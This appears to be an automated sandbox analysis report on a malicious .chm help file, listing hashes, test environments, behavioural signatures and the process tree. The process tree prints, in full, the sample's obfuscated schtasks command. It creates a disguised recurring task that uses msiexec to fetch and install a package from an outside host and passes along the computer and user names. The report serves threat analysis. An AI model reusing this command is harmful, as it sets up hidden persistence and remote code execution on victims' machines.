Analysis
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max time kernel
43s -
max time network
46s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
03/02/2023, 07:12
Static task
static1
Behavioral task
behavioral1
Sample
f598f3bd60a39ad5861f145e82b33acde146b6ed5c2ffd9c6862ca1ea635afbf.chm
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
f598f3bd60a39ad5861f145e82b33acde146b6ed5c2ffd9c6862ca1ea635afbf.chm
Resource
win10v2004-20221111-en
General
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Target
f598f3bd60a39ad5861f145e82b33acde146b6ed5c2ffd9c6862ca1ea635afbf.chm
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Size
11KB
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MD5
c42aafc41fa033643c7eb1c06d433ee1
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SHA1
abb7917e1ffd689ad58af1878b02e6a5b21a41c0
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SHA256
f598f3bd60a39ad5861f145e82b33acde146b6ed5c2ffd9c6862ca1ea635afbf
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SHA512
8efec3c615e25c032d2d1e2136c46810717969a767b678124f8014cca5fa25428e4414767d1e555b0065613e9313cc80bd2472abbc744e3bc01d38f872a83720
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SSDEEP
48:r5gRutM08QRlEFlErlElz5s4UBF4Iu37Nw1ad2CeAirPYiahTOBqCCC2+i+NSHlE:reutM/w1ad2jTEiahCBI+1NElE
Malware Config
Signatures
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1656 schtasks.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Software\Microsoft\Internet Explorer\Main hh.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1264 hh.exe 1264 hh.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1264 wrote to memory of 1656 1264 hh.exe 29 PID 1264 wrote to memory of 1656 1264 hh.exe 29 PID 1264 wrote to memory of 1656 1264 hh.exe 29
Processes
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C:\Windows\hh.exe"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\f598f3bd60a39ad5861f145e82b33acde146b6ed5c2ffd9c6862ca1ea635afbf.chm1⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1264 -
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc minute /mo 16 /tn IntelNetDriver /tr "%coMSPec% /c s^t^a^rt /^m^i^n m^s^i^e^xe^c ^/^i h^tt^p://dra^cjo^hns^upp^ort.co^m/p^ar^k/j^eff^.p^hp^?w^an=%computername%*%username% /^q^n ^/^norestart" /f2⤵
- Creates scheduled task(s)
PID:1656
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